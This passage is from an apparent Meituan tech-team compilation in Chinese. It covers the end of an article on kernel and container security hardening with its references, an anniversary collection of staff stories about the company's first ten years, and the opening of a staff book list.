性能测试，将其合并到公司的内核再做复测。

3.	未 被合并进 Linux 内核主线版本，从 Grsecurity/PaX 中做移植，在

Grsecurity/PaX 的诸多安全特性中，评估选择，选取代码改动少的，收益高
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的安全特性优先移植。比如改动较少的内核代码又能有效解决某一类的漏洞，

再打个比方，Dirty	Cow 的全量修复可能需要花费 1-2 年的时间，如果加了

某个安全特性，即使未修复也能防御。

内核后话

最后，分享一下笔者眼中较为理想中的状况。当然，我们得根据实际情况“因地制

宜”，在不同阶段做出不同的取舍与选择。

	● 将内核团队看成社区，我们向他们提交代码，如同 Linux 内核社区有 RF-

C(Request	for	Comment)、Patch	Review 等，无争议后合并进公司内核。

	● 先挑选实用的安全特性且代码量少的，去移植，去实现，并落地。代码量少意

味着对内核代码改动少，出问题的可能性越小，稳定性越高，性能损耗越低。

	● 一年完成几个安全特性，不需要多，1～ 2个即可，对于内核态的加固，慎重

慎重再慎重，譬如国外G家公司数据中心的内核发版前大概需要 6～ 7个月

时间做性能、稳定性测试。

	● 需要做到加固某个安全特性后，使用 0day 或 Nday 去验证防御效果，且基于

该内核跑业务是稳定，性能损耗在可接受范围之内或者可控。每个安全特性需

要技术评审。为保障代码质量的问题，找实际的高吞吐以及高并发低延迟的服

务器小范围灰度测试，无争议后，再推送给内核团队。

	● 最后，我们还可以通过将安全特性的代码直接提交给 Linux 内核社区，如果代

码有不足的地方也可以和社区协同解决，合并进 Linux 内核主线代码，从而侧

面推动落地。

作者简介
Pray3r，负责美团内部操作系统安全、云原生安全、重大高危漏洞应急响应，长期专注于

Linux 内核安全及开源软件安全。

参考文献
CNCF/Foundation

https://github.com/cncf/foundation/blob/master/charter.md
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保障 IDC安全：分布式HIDS集群架构设计

Dirty	Cow

runc

containerd

Docker/Containerd/Architecture

OSS-Security

Frichetten/CVE-2019-5736-PoC

Docker

Benchmark/Docker/

gVisor.dev

Container	Isolation	at	Scale

Kata-Containers/Documentation

Kernel

Redhat

Namespaces	in	operation,	part	1:	namespaces	overview

Control	groups	series	by	Neil	Brown

Container-Security

Anatomy	of	a	Container:	Namespaces,	cgroups	&	Some	Filesystem	Magic	-	LinuxCon

A	Short	Story:	Bypass	SMEP	on	Linux

美团 - 信息安全部招聘云原生安全工程师 / 专家
岗位职责：

1.	 云原生（微服务、Service	Mesh、容器技术、容器编排技术）安全研究及转化落地；

2.	 对云原生安全有独到见解，能给业务方提供技术支持。

岗位要求：

1.	 熟悉 Docker、Kubernetes 等云原生技术及其原理，熟悉相关主流的最佳安全实践；

2.	 熟悉 Linux 操作系统，对操作系统、虚拟化等底层技术有一定了解；

3.	 熟悉使用C/Python/Golang 其中一门语言；

4.	 熟悉业界安全攻防动态，追踪最新安全漏洞，能够分析漏洞原理和实现POC编写；

5.	 有良好的沟通和团队协作能力，能够推动业务落地相关的安全要求和解决方案；

6.	 良好的英文阅读能力。

加分项：

1.	 熟悉 Linux 内核；

2.	 熟悉开源社区；

3.	 在渗透测试，漏洞挖掘，代码审计等安全领域至少有一个方面能力突出；

4.	 	发表过有深度的技术Paper 或独立挖掘过知名开源应用 / 大型厂商高危漏洞经历。

如有意向，请发送简历：tech@meituan.com（备注：云安全）

https://mp.weixin.qq.com/s/5pVKNI6_hzhaXTOUxU9bTA
https://dirtycow.ninja/
https://github.com/opencontainers/runc
https://github.com/containerd/containerd
https://github.com/docker/containerd/blob/master/design/architecture.md
https://www.openwall.com/lists/oss-security/2019/02/11/2
https://github.com/Frichetten/CVE-2019-5736-PoC
https://github.com/docker
https://www.cisecurity.org/benchmark/docker/
https://gvisor.dev/docs/
https://schd.ws/hosted_files/kccnceu18/47/Container%20Isolation%20at%20Scale.pdf
https://github.com/kata-containers/documentation/
https://www.kernel.org/
https://www.redhat.com/
https://lwn.net/Articles/531114/
https://lwn.net/Articles/604609/
https://github.com/Pray3r/container-security
https://www.slideshare.net/jpetazzo/anatomy-of-a-container-namespaces-cgroups-some-filesystem-magic-linuxcon
https://www.ichunqiu.com/course/57939


美团技术十年：让我们感动的那些人那些事

作者：王鹏

时光荏苒，美团十岁了，美团技术团队也走过了十个春秋。

2010 年 3月 4日美团网上线的时候，整个公司总共十来人，在一套三居室的民房里

起步。其中技术团队只有 5个人，现在有 4位还在美团。

美团技术团队早期办公环境，右边电脑上有测试中还没上线的美团网页版

今天，美团是中国市值第三的互联网公司，技术团队也已经达到 9000 多人规模，覆

盖前端、后台、系统、算法、测试、运维、数据、硬件等 8个技术领域。

2013 年美团公司年会上，王兴特别引用了清华大学老校长梅贻琦先生的一句名言：

工程师文化
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“大学者，非谓有大楼之谓也，有大师之谓也。”他是告诉在场的美团同学：选择跟什

么样的人在一起做什么样的事，很重要。

最近，美团技术学院陆续采访了 20多位美团技术团队的同学，既有美团早期创始团

队的 3位“元老”，也有很多美团App、美团外卖等部门的技术骨干，听他们聊了聊

自己跟公司一起成长的故事。故事里有争吵，也有友情；有汗水，也有泪水；有委屈，

也有成长；有迷茫，也有坚定。我们从中摘录了他们印象最深刻的一些片段，与大家

一起感受，10年来美团技术团队经历的那些坎坷与崎岖，收获的那些感动和期许。

时间开始了
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美团网上线，第一单

2010 年 3月 4日，美团网上线。

此后半年，团购是互联网领域最火爆的创业领域。如雨后春笋，冒出了数千家团购网

站，这就是大家经常提起的“千团大战”。

关键是跟什么人在一起，做什么样的事情

美团技术团队创始成员付栋平回忆，2010 年的时候美团的技术并不是很强，但是团

队年轻、有激情、有闯劲，响应速度非常快。大家 24 小时待命，连大年初二初三还

在改Bug，也不觉得累。他感叹：“办公的环境什么的其实并不重要，关键是跟什么

人在一起，做什么样的事情。如果这个事情本身很有意义，很激动人心，就很值得我

们去投入青春。如果这群人很优秀，也很上进，就值得大家彼此托付，成为彼此信任

的战友。”

美团网第一次提交的代码统计：文件一共 27 个，代码量 6892 行

有安全漏洞？连续加班也要搞定

美团技术团队创始成员、美团网第一次代码提交者秦亚非，在美团内部通信工具大象

上的签名是：“我们生在这个时代，能参与一波又一波的互联网科技浪潮，是件很幸运

的事。”
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秦亚非印象很深的一次危机事件发生在 2015 年，他们听说有个黑客大会要将美团的

系统作为攻击对象，大会的赛题就是“现场攻破美团的支付系统”。公司联合创始人

穆荣均亲自带领技术团队的同学们连续加班梳理可能有隐患的环节，连夜查询Bug

和漏洞，白盒看代码到天亮，最后找到了问题，并最终完成了修复。

最喜欢的特质：美团是一家学习型组织

美团技术团队创始成员潘魏增最喜欢的特质，就是美团是一家学习型组织。公司整个

创始团队都非常善于学习、思考和总结，并身体力行去分享、去鼓励大家这么做。记

得有一次聚会，王兴聊天时说到各地的方言，还帮忙给大家各自的方言做归类，聊到

兴致起来，还拿出一本厚厚的语言书，证明他说的都有理有据。还有一次，王兴推荐

了一本关于地缘视角看世界的书，还送了不少本给大家。潘魏增看完之后确实对世界

格局有了全新的认识，对他的帮助很大。

2010 年，王兴跟美团技术团队的某一次见面会
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梦里都在写代码

2010 年 12 月入职美团技术团队的时候，弥新锋还是一个技术小白，所有做的事情

都是从未做过的。他从Windows 上的 DreamWeaver 转到学习 Linux（Ubutun）

上的 Vim，从只会用 jQuery 到能够读懂 YUI2 源代码，并自己独立写完整的脚本。

想到每段CSS和 JavaScript 的呈现界面都是数十万人在访问和使用，弥新锋都会

感到很兴奋。早期美团技术团队几乎每天都加班到很晚，但他几乎没有疲惫的状态，

非常兴奋以至于做梦都是关于代码关于公司，他还把这些梦境记录在了饭否上。

弥新锋同学在“饭否”的记录

早期美团技术团队的口号是：“要么牛逼，要么滚蛋”

张佳佳是 2010 年 12 月 18 日硕士毕业、校招入职美团的。美团虽然是个新公司、
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小公司，但是很早就非常重视从应届生中招聘优秀学生。

2014 年，技术团队校招场景

他印象比较深的一件事是，当时技术团队的口号，就是出自 Facebook 的“Go	big	

or	Go	Home”，后来秦亚非同学翻译了一版：“要么牛逼，要么滚蛋”。大家一致认为

很形象也很贴切，就一直用了很多年。

早期美团技术团队的口号

张佳佳记忆最深刻的是，2010 年时穆荣均告诉大家，美团技术团队很快要扩充到

100 人左右。那时候，成立没多久的美团技术团队才十几个人，张佳佳心里就想，



工程师文化　<　281

100 多个技术，美团这是想干多大一件事啊。张佳佳感言：“你看今天，我们技术团

队都已经 9000 多号兄弟了，真的是让我感慨万千啊。”

效率是美团的核心竞争力

夏姣姣是美团技术团队早期比较少的女同学。她在美团和百度之间，经过慎重的考

虑，最终选择了美团，2011 年 02 月 21 日加入。她的印象中，王兴每周末都会在站

在办公室的一个角落中，给他们所有人分享本周的一些思考，而且每次分享的内容都

能大家很大的启发和鼓舞。

穆荣均也经常跟美团技术团队一起讨论问题。有次他问：对美团技术团队来说，最重

要的事情是什么？大家给出了很多答案，而穆荣均的回答是“效率”，效率是美团区

别于竞对的核心竞争力。

战略布局移动

2010 年大家使用的手机基本上还是诺基亚和摩托罗拉，“移动化”这个概念刚刚开始

受到关注。年底，王兴去美国考察回来，坐在公司的小仓库一张破桌子上，跟美团技

术团队讲要搞移动化战略，然后陈亮（现美团高级副总裁）就带着两三个同学在春节

前后，花了一两个月的时间快速开发。

2011 年 3月 4日，美团成立一周年那天，美团开始拥有了自己的客户端。

据王慧文回顾，美团在千团大战中脱颖而出，很重要的一个因素，是抓住了移动这一

波技术大红利。2011 年的时候，美团移动端收入占美团总业务比重仅为 7%-8%左

右，2012 年达到了 30%，2013 年已经到了 70%。2014 年超过了 95%。

此后，随着业务的发展，用户和数据量都在增长，美团开始组建专门的搜索、推荐和

数据团队，也有了更专业的产品经理，原有团队同学迅速成长的同时，也有越来越多

外部技术大牛加盟。
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技术同学敢跟老板拍桌子吵架

马圣超是陈亮招进来的美团移动端第一个工程师，2011 年 2 月 11 日入职。当时的

一些细节一直让马圣超记忆犹新，就像像刚发生在昨天一样。比如刚来的时候，美团

技术团队连设计和美术都没有，陈亮除了给马圣超审核代码之外，还搬着凳子跟一个

做运营小哥一起设计图片，美团第一版客户端的开屏图就是这么来的。早期美团的技

术、设计同学都不怕自己的Leader，经常为了一个方案跟陈亮吵架，吵到拍桌子……

马圣超说对自己影响最深的是，完成比完美更重要这句话，出自“Done	is	better	

than	Perfect”。一直到今天，他都把这句话当成做很多事的原则：迭代式前进。想的

再完美，不如先行动起来。

我跟公司好有缘

谢语宸感觉自己跟美团特别有缘分。他是 2011 年 3月 4日那天入职的应届毕业生，

刚好美团成立一周年；他跟自己老婆定情的日子也是某年的 3月 4日；就在他们俩领

证那天，美团刚好宣布跟大众点评合并。这个真的不是他故意为之，其实他们很早就

定好了领证的日子。

在 2011 年到 2013 年，美团在移动互联网化的进程中在技术上一直处于行业 Top 位

置。虽然从现在看来，当时技术水平肯定不高，但是整个团队技术自豪感很强。当时

谢语宸跟秦亚非一起负责数据开发工作，虽然比BAT在相关技术方向积累较少 ,	但

是他们在一开始就在按照一个“互联网巨头”的标准进行自我要求。

老板为什么发那么大火

Android 程序员雷地球（2011 年 4 月 11 日入职）至今还记得，美团 Android 客户

端出现了一个挺大的问题，直接影响到了用户体验，移动端的技术负责人、平时很

Nice 的陈亮在办公室发了很大的脾气。大家逐渐认识到美团第一条价值观——“以

客户为中心”的分量，因为技术问题影响了用户体验，影响了公司的声誉，那可是天

大的事情。
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不要给自己设限

让早期数据开发组成员郑刚（2011 年 6 月 27 日入职）震撼的是 2014 年公司年会，

王兴给 2020 年美团公司设定的目标：平台总交易额一万亿。此前几天，他们数据组

的同学刚做过预测，最高的数字都没有超过 2000 亿。要知道，美团 2013 年的数据

才到 188 亿，1万亿简直不敢想象。现在美团已经快要实现这个目标了。郑刚感言：

“我受兴哥影响挺大的，他经常告诉我们不要给自己设限。我也经常跟自己的同学讲，

战术上只要肯干，就没有达不成的目标。”

当时，对美团数据组最大的挑战就是，技术资源跟不上业务的开发，数据组几个同学

要应对人力、销售、市场营销等多个业务线。怎么办？他们就开始教美团的产品经理

写SQL，让大家学会如何查询数据。当时有一本非常著名的书叫《MySQL 必知必

会》，美团那时招聘产品经理，一般都会加上一条要求：会使用SQL。据说，这是当

时美团产品招聘的一大特色。

早期的美团更像一家科技“直销”公司

陈红兵（美团早期Android 开发组成员，2011 年 7月 15 日入职）之前都是在一些纯

技术的软件公司上班。加入美团后，他每天早上去工位时，总会遇到美团的销售同学

在办公室开晨会，那个场面每次都让他联想到一家“传销公司”在开大会。陈红兵坦

言，感觉那时候的美团更像一家科技“直销”公司。

复杂的事情简单化，简单的事情标准化，标准的事情流程化，

流程的事情自动化

在丁志虎（美团早期Android 开发组成员，2011 年 8月 29 日入职）的眼中，美团最

大的一个特点就是，创始人都几乎清一色的技术背景，无论是王兴、穆荣均、王慧文

还是陈亮，都非常重视技术，对技术的投入也很足，包括美团也是业界很早就给技术

团队配备了人体工学椅和MacBook 的公司。

对丁志虎影响最大的一句话，来自夏华夏（现任美团首席科学家）：“我们要把复杂的
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事情简单化，简单的事情标准化，标准的事情流程化，流程的事情自动化”。

自己花钱体验产品流程，我爱上了看电影

洪光焰（早期移动端后台 Java 开发组成员，2012 年 3月 5日入职）负责猫眼的选座

业务的开发时，为了保证产品体验和研发质量，他就花自己的钱去买票，虽然自己其

实并不怎么喜欢看电影，但是因为自己在做产品，要对用户体验负责。如果作为开发

人员都没有体验过买票，肯定不行，很可能因为某个技术或者使用问题导致产品流程

跑不通。“后来，因为经常买电影票，我对电影真的还产生了一点点喜欢的感觉。”

值得一提的是，在早期，猫眼电影这块业务其实一直是王兴亲自在带。每次开会的时

候，洪光焰和美团技术团队的小伙伴们都会近距离感受到王兴思考的缜密性，王兴提

的问题都很犀利，如果做事不符合逻辑，他会很严厉地跟你聊这件事。

每天往床上一躺，就感觉：今天我又进步了

陈晓亮（早期 iOS 开发组成员，2012 年 11 月 12 日入职）回忆，美团移动端前期

一直都是在填坑，不断地补技术债。那个时候提测一个版本，经常能测出来上百个

Bug，而且就一个测试工程师，他拼命的开Bug，研发同学拼命的改Bug，大家工作

都很嗨。陈晓亮坦言：“根本没有时间去考虑什么技术战略这些东西。也是经过了两三

年的时间吧，我们才将移动端的工程化体系建立了起来。”

那时候大家的冲劲都特别足。加班？根本不存在这个概念，也没这种要求。但是，你

会看到晚上 9点多还是有很多人自发地在办公室敲代码。陈晓亮那时经常 11点多才

回家，反正家离公司很近也无所谓，真的感觉不到累。最长的一次，他连续加了 60

天的班。“那时就是满腔热血，每天往床上一躺，就感觉今天我又进步了，哈哈。”
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早期美团校招复盘会，照片中的多位同学都在美团担任技术高管

周末用了两个白天、一个通宵的时间搞出来的大象“雏形”

现在美团内部几万人天天不离手的通信工具大象，最早的版本出自王康（美团早期

Android 开发组成员，2012 年 2 月 22 日入职）。是王兴决定要做 IM，任务交给了

王康。当时王康正在去驾校的路上，刚到那边就马上转车回到家中。周末的时候，

王康用了两个白天一个通宵做出来了一个 Demo 版本。大象正式上线的时候，刚好

是 4 月 1 日愚人节，美团的同学收到一封邮件，说内部开始有了自己通讯工具。当

时大家都不敢相信，以为是愚人节玩笑，后来发现真的能下载，而且能用，同学们

都惊叹不已。

女产品经理眼中的美团技术：第一印象是又 Low 又土又山寨

产品经理刘向品 2012 年 3月 5日加入美团后第一次参加技术团队的会议，她那天穿

着一双红色的高跟鞋。当时团队人很少，美团的Android 和 iOS 客户端加起来，也

就十来个人，一个很小的会议室全装下了。然后进去一看，一群小年轻穿着拖鞋、大
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短裤……从那以后，刘向品感觉在美团再也没有穿过那双高跟鞋了。“真的，我当时

的第一感觉就是，这个团队真的是又 Low又土又山寨，哈哈哈！当然必须要承认，

大家当时确实很拼，都很努力，加班也很辛苦。”

刘向品对技术同学们印象比较深的，可能就是“相爱相杀”的过程。她早期提出了一

个版本规划，提了 5个需求，结果技术团队给上线了 6个需求。刘向品说：“你是不

是以为早期的这些技术同学很厉害？告诉你，完全不是。这帮不靠谱的家伙，他们只

上线了我提出的 2个需求，还有 3个需求挂着没做；同时还有 4个‘野需求’上线，

问怎么回事，说觉得这个需求该做就做了。”

刘向品笑着说：“为什么一个产品和技术的关系能处这么好？这都是当时‘战斗过程’

中培养出来的‘革命友谊’。”

快速增长

经过几年的努力建设，不断填坑，技术团队也完成了最早的基础建设，同时也建立了

相对完善的工程技术体系。美团团购占据了绝对领先的市场份额。同时，还有谷歌、

百度、腾讯的一大波技术牛人加入美团技术团队。

选择需要魄力，更需要信仰

从Google 回国的夏华夏（早期技术工程部技术负责人，2013 年 6 月 8 日入职）加

入美团的故事很有趣：他去美团接太太下班，发现美团的监控工具做得很好，虽然

底层也是开源系统，但功能很简洁、很直观、也很好用。后来陆续又接触到很多美

团的技术同学，发现整个技术团队虽然很小，但很务实，技术氛围很好，工作态度

非常认真。

后来王兴、穆荣均正式向抛出了“橄榄枝”，夏华夏觉得美团做的事情很有意义，选

择了降薪加盟这家小公司。之后他组建技术工程部，开始做基础组件、性能优化，包

括技术存储、负载均衡、中间件系统等等。后来，又接手了运维和DBA系统优化方

面的工作。除此之外，夏华夏还和早期的几位技术同事一起组建了美团技术学院，负
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责技术团队的培训、交流、宣传等工作。

随时准备着：出门团建也要背着电脑

张小虎（早期移动后台技术负责人）2013 年 5 月 2 日加入美团后主要负责移动组的

后台团队，分 4个方向：团购移动、猫眼电影、大象、基础设施（RPC、缓存、消息

队列等）。当时移动端的交易占比不断提升，面临的主要问题是流量大，到周末的时

候，系统容易出问题。当时，他的小组有位同学，团建出门都会背上电脑以防万一，

还真的被他遇到了一次宕机情况，打开自己的手机热点，在山上开始改 Bug。张小

虎记忆比较深的是，有次带自己的孩子刚到奥森公园北门，就收到报警，一路处理故

障，后来家人也比较理解他的工作，说以后周六不出门以防公司有突发事情。

为公司招到更好的人才，特别有劲头

2014 年 3月加入美团的王栋主要负责美团平台搜索和推荐以及数据产品技术，当时

大概带了三四十人左右的团队。

对王栋来说，印象中最深的事情就是校招。当时，为了招到很好的同学，真的很辛

苦，每天从早上八点，一直到晚上九点。然后回到酒店后，还得改笔试卷子，经常熬

到半夜 2点多。当时，必须是靠咖啡的，当然，都是为了帮公司招到更好的人才，那

时候也特别有劲头。王栋说：“我觉得自己很幸运，带出了很多优秀的校招生同学，包

括周翔、曹浩、戚亦平等他们，现在都是在美团技术团队都发挥出了自己的价值。”

项目上线后看到日志反馈的数据，特别有成就感

戚亦平（早期美团移动推荐与个性化团队成员，2013 年 6 月 6日入职）觉得美团的

技术面试感觉非常好。面试官问他读了哪些方面的书，学到过哪些方面的技术，这给

他留下了特别好的印象。

当时戚亦平和四五年轻的实习生一起做美团App 的搜索和排序功能，就是首页的个

性化推荐和“猜你喜欢”。搜索排序第一次上线。从线上开发，到离线数据计算，再
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到训练流程的设计，就是戚亦平跟一个实习生两个人一起完成的。戚亦平说：“上线之

后，看到日志反馈的数据，当时特别有成就感。加班再多，都不觉得辛苦。”

最直观的感觉就是，大家眼睛里都闪着光

曹浩 2014 年 3 月 3 日加入美团时，美团 App 的推荐搜索团队才十几个人。他和

几个同事，除了做算法，还需要搞特征工程的研发，从零到一搭建起了美团的排序

体系。当时仅针对访购率这一指标（每万人中有多少人购买），效果就提升了 30%-

40%。美团当时还做了用户调研，用户反馈也很好，大家普遍反映，不仅更快更好，

而且还更准确，在美团App能够快速找到自己想吃的美食和店铺。

曹浩说：“2014 年的时候，我们搜索推荐团队真的是干劲十足，刚好我们又身处移动

化浪潮的新时代。那时候技术团队的口号‘每天前进 30 公里’给我们很大的力量。

最直观的感觉就是，大家眼睛里都闪着光。”

为了进美团，我赔了百度公司 5000 块钱的违约金

加入美团对周翔同学来说，还是有点波折的。他毕业时三方先签了百度，后来才接到

美团的Offer。他特别想进美团，也看了很多关于王兴的创业故事，在周翔心目中，

美团是一家特别Cool 的技术团队。最后，周翔赔了百度公司 5000 块钱的违约金。

“当然，现在看起来，一切都是值得的。”

2014 年 6 月，周翔跟自己电子科技大学的 3个同学都加入美团App 推荐组，他们

也住在一起，每天回到宿舍后，还会继续讨论工作，所以每个人的成长速度都很快。

当时，推荐组经常遇到性能问题，半夜两三点钟被警报喊醒，然后大家一起起床改

Bug。记得最深刻的是一次问题非常棘手，一位小伙伴半夜 4点打车回到公司去解决

的。周翔说：“那时候，真的可以说是埋头钻进技术里去解决各种业务问题。虽然也经

常加班，但是真的一点怨言都没有，乐在‘技’中。”
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持续学习的文化以及对人才培养的重视

对魏永超（早期美团搜索团队成员，2014 年 1 月 6日入职）影响比较大的，是美团

持续学习的文化以及对人才培养的重视，特别是 Leader 层对下属成长的关注。美团

讲拥抱变化，魏永超汇报关系发生过多次变动。魏永超跟王栋（现美团外卖技术负责

人）学到了很多技术层面的东西，能够从技术与业务结合的角度思考问题。他跟刘彭

程（现美团到店技术负责人）学到了如何从团队人才培养的角度推动团队成员的学习

和成长，同时美团也提供了很多挑战会引发他的思考。魏永超跟张锦懋（现美团基础

研发平台的技术负责人）学会了从事情的角度出发，一针见血地指出问题所在，尽量

站在一个旁观者给团队成员提供帮助，现在也帮助了很多技术同学在高速成长。

外卖狂飙突进

早在 2012 年年底团购大战格局初定时，王兴就觉得餐饮行业还有互联网化的其他机

会，就让王慧文开始组建新产品部，带一个很小的团队去探索新业务。王兴可能也没

想到，最后王慧文团队探索出来的外卖，会成为美团今天最大的业务，直到现在，还

在不断打破世界纪录。与此同时，从外卖业务逐渐建立起来的配送平台能力，又为

AI、机器人等高科技提供了用武之地。

2013 年 11 月 18 日，美团外卖送出去第一单。

2019 年 7月 27日，美团外卖日订单量突破 3000 万单。
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今天，美团配送已经成为全球领先的分钟级配送网络，服务全国 360 多万商家和 4

亿多用户，覆盖 2800 余座市县，日活跃配送骑手超过 70万人。

只要你技术好，我就服你，跟你干

2015 年，洪磊（美团前端通道主席，2013 年 6 月 24 日入职）接到任务，从美团平

台转去负责外卖前端团队。最初他还有点犹豫，和外卖前端同学做了简单沟通后，就

欣然接受了这份挑战。他得到团队同学很给力的支持，加上自己精通前端技术，很快

跟小伙伴打成一片。洪磊觉得美团的工程师文化还是很好的，“只要你技术好，我就

是服你的，可以跟你干”。

无数个不眠不休的夜晚，叠加在一起，一点一滴提升了用户

体验

王栋到外卖之后，最难忘的是 2015、2016 年，那时订单量增长迅猛，系统压力巨

大。一到中午，系统就经常报警，这时候大家就会非常默契地集中在美团外卖的“作

战会议室”中，一起携手解决线上问题。

2015 年的 10 月，外卖团队的推荐算法负责同学自己动手，每天在晚上八九点，忙

完一天的工作之后，一点一点的梳理用户端的埋点数据。历时一个多月，终于理清楚

了线上埋点的问题，为后续算法的应用奠定了坚实、可靠的基础。

2016 年，为在不影响业务的同时实现绩效系统迁移，外卖技术部运营组和数据组同

学放弃了中秋和国庆假期，连续奋战 20余天，支持了绩效管理目标的达成。

正是由这样的无数个不眠不休的夜晚，叠加在一起，才一点一滴的提升了用户、商

家、骑手和一线拓展人员的使用体验。

几百个 CaseStudy 文档是我们宝贵的财富

到家交易系统平台部负责人方建平（2014 年 8 月 5日入职）说，因为这些年来外卖
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交易系统出的事故比较多，所以该组同学写的CaseStudy（事故分析报告）也很多，

外卖团队非常看重这项工作。基本上每次事故，无论大小，大家都会坚持尽快完成

CaseStudy 的撰写，并组织复盘，分析问题，总结经验。几年的积累，美团外卖沉

淀了几百个CaseStudy 文档，这也是美团技术团队最为宝贵的财富，一直到今天，

交易系统团队也会常常组织回顾，包括新人入职也会组织对应的培训。

从外卖架构到无人配送

2015 年 5月，美团外卖业务当时已经初具规模，但系统很不稳定，每周要宕机好几

次，而且好几次宕机都是发生在用餐高峰时期。夏华夏临危受命，到外卖组建架构团

队。他跟很多技术骨干天天泡在一个称之为“作战会议室”里，周末也不休息，不断

迭代升级、测试、监控整个系统。经过两个多月，终于将系统稳定性从 98%提高到

了 20 倍，接近 99.9%左右，基本支撑了 2015 年暑期的订单量大涨；到 2016 年，

随着我们的架构优化、运维自动化、测试自动化等工作的开展，外卖的稳定性已经提

升到接近四个 9。

2017 年，夏华夏陆续把手头的地图、到餐技术、外卖架构等工作交接了出去，将全

面精力放在内部孵化出来的美团无人配送项目上。功夫不负有心人，美团无人车在疫

情期间落地，开始在北京送菜了。
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还有很多技术团队的故事，没有来得及写进来，敬请期待。

忆往昔峥嵘岁月稠，我们参与创造了历史，也收获了成长与感悟。这期间慢慢积累的

一些东西，渐渐渗入我们的血液，成为我们的基因。

感谢那些虽然已经离开，但曾为美团技术做出过贡献的小伙伴们，常回家看看。

感谢十年来无数技术同行对我们的支持（开源代码、技术图书和文章……）。

新的十年，继续既往不恋，纵情向前！
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那些珍贵的老照片

春天的花开，秋天的风，以及冬天的落阳。十年的时间，我们有过太多的回忆。我们

还向美团同学征集了一些充满回忆的老照片。有同学告诉我，他私藏的很多照片都是

第一次亮相。在美团技术团队工作过的同学，是否还能认出曾经的那个年轻的自己！
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推荐收藏 | 美团技术团队的书单

作者：王鹏

4月 23 日对于世界文学而言是一个具有象征性意义的日子。1616 年的这一天，塞

万提斯、莎士比亚、印卡·加西拉索·德拉维加几位大师相继与世长辞。此外，这

一天也是其他一些著名作家的出生和去世的日期，例如：莫里斯·德吕翁、哈尔多

尔·K·拉克斯内斯、弗拉基米尔·纳博科夫、约瑟·普拉和曼努埃尔·梅希亚·巴

列霍。

1995 年在巴黎举行的联合国教科文组织大会决定，在 4月 23 日这一天向全世界的

图书和作者致敬，鼓励每个人发掘阅读的乐趣，因此设立了“世界图书与版权日”，

又称“世界读书日”。

2020 年，新冠肺炎疫情突然而至，无论是国家，还是公司，亦或是我们个人，都面

临着来自内外部的新挑战。在这个时候，我们更需要通过读书来保证理性、冷静、客

观，希望每位同学都能从读书中汲取营养，会读书，读好书。

在世界读书日这个特别的日子里，我们从美团技术团队内部的书单中精选了 23本书

籍推荐给大家。之前我们推送过一份技术人必读的《新春书单》，而今天的这份书单

则涵盖了通用能力（6本）、经济管理（6本）、哲学历史（8本）、人物传记（3本）等

非技术领域，也颇具价值。希望每一位同学都能坚持读书，并学以致用。

https://mp.weixin.qq.com/s/cOK7ETevEl2ODO_eqFdMzA
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通用能力类：6 本

推荐理由：

达利欧是著名对冲基金桥水的创始人，他的《原则》讲述了许多生活和工作的原则，

我也不知道自己真正理解了多少，但拿出其中一项原则都足以引发很多的思考。

例如在公司的管理中，有这么一段话，“它不是一个专制机构，由我领导，其他人跟

从；也不是一个民主机构，每个人都有平等的投票权；而是一个创意择优的机构，鼓

励经过深思熟虑的意见不一致，根据不同人的相对长处分析和权衡他们的观点”。这

点对团队管理来说很有益处。我们的目标是发挥大家的长处，达到最终的创意择优。

我们需要从他人取得的成就、使用的方法中学习，来主动思考自身怎么做、应该如何

思考，只有这样才能不断走向成功。

推荐理由：

这是一本非常适合职场人阅读的书籍。它已经在角落里“蜗居”了两年之久，挤在一

堆落满灰尘的杂籍中。因缘际会，疫情期间整理房间时看到了它的身影，拍拍扉页，

开启了系统化思考之旅。
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世界是凌乱的，也是系统化的，这取决于我们如何读取它、理解它。事物在空间上彼

此关联，在时间上因循变化，表象规律与内在逻辑有着复杂的映射关系，“以管窥豹”

与“本位主义”又常常左右的我们的思考，它们都是影响对事物做出正确认知、做出

正确决策的“紧箍咒”。如何破咒？该书以浅显易懂的生动案例开篇，循循善诱，为

大家带来了一套系统化思考的思维工具。如何建立整体、动态、连续思考问题的思维

模式，如何在复杂系统中以简驭繁。希望能给更多的同学带来一些思考和收获。

推荐理由：

这本书介绍了“教练”这个角色的意义和职责，其中给我认知冲击最大的是“表现 =

能力 -干扰”。干扰影响了知识、信念、热情、专注，从而压制了表现。很多时候我

们往往不是做得太少，而是做得太多，过犹不及。了解了这个全新的表现公式后，我

意识到自己和团队的表现提升，重点应该在排除干扰上。干扰的来源很多，个人和团

队的“上下左右”都会受到影响。作为领导者，要能够尽可能地帮助团队排除干扰。

而对个人而言，也需要提高抗干扰能力。比如书中讲的打高尔夫球的例子，选手在练

习的时候和比赛的时候，对同一个球的处理的表现是不同的，能够参加比赛说明选手

的基本功没有问题，恰好是临场发挥的时候被过度在意动作的标准性，过度在意得失

反而影响了最终的表现。排除干扰的核心抓手在于“专注”。专注来自“由内而外”

的GROW（目标、现状、方案、行动）式的对话，而这恰恰是作为领导者承担“教

练”这个角色，应该采取的有效手段。
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推荐理由：

技术人员如何锻炼演讲能力，如何让技术分享更加生动有趣，历来是一个很大的挑

战。大家一般都认为乔布斯的演讲非常有魅力，觉得乔布斯会是一个很善于演讲和沟

通的人。但是，当你读过这本书，你会发现一个完全不一样的乔布斯。原来乔布斯

其实“很不擅长演讲”，或者说，乔布斯只擅长那些充分准备后的演讲。这本书会教

会大家像设计戏剧一样来设计自己的演讲内容，让演讲者知道如何策划故事，创造体

验，了解观众想听什么，如何装扮数字，以及最重要的“如何反复练习”。

如果大家能够掌握这本书的精髓，即使是一个不擅长演讲的人，也可能会完成一场精

心准备的优秀演讲。当然，如果讲到临场发挥，那就是另一个故事了。此外，如果结

合同一作者的《像TED一样演讲》一起看，相信会有更大的收获。

推荐理由：

我们不仅要找到热爱的工作，而且要建立热爱的生活。职业生涯就像是一场至少长

达 45年的马拉松，这本书介绍了远见思维和三大职业生涯阶段，并介绍了如何应对

职场和生活的冲突。我辈应该多行动、少忧虑，并且提前做好中长期的职业思考和职

业规划。如果用“远见”的思维看待眼前的影响和困难，就根本不值得一提。用“远
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见”的思维，长期有耐心，每天前进 30公里。

这本书讲如何求真（实事求是），避免非黑即白、情绪化、极端地看待这个世界。

书中印象比较深的地方：

	● 要特别警惕媒体和社会活动家，他们的职业属性注定了需要依靠极端和负面的

案例，吸引更多关注度。

	● 不要迷信越界的专家，他们在自己的领域之外就没有更大的可信度，而他们由

于自信，经常胡说八道。按书里的原话：“拥有高智商，数学很好，受过高等教

育，甚至得过诺贝尔奖，这些都不能确保你能更正确地认识世界。”

经济管理类：6 本

推荐理由：

最早接触《孙子兵法》，是在自己读小学时看的漫画书。大学毕业工作后读过文言文

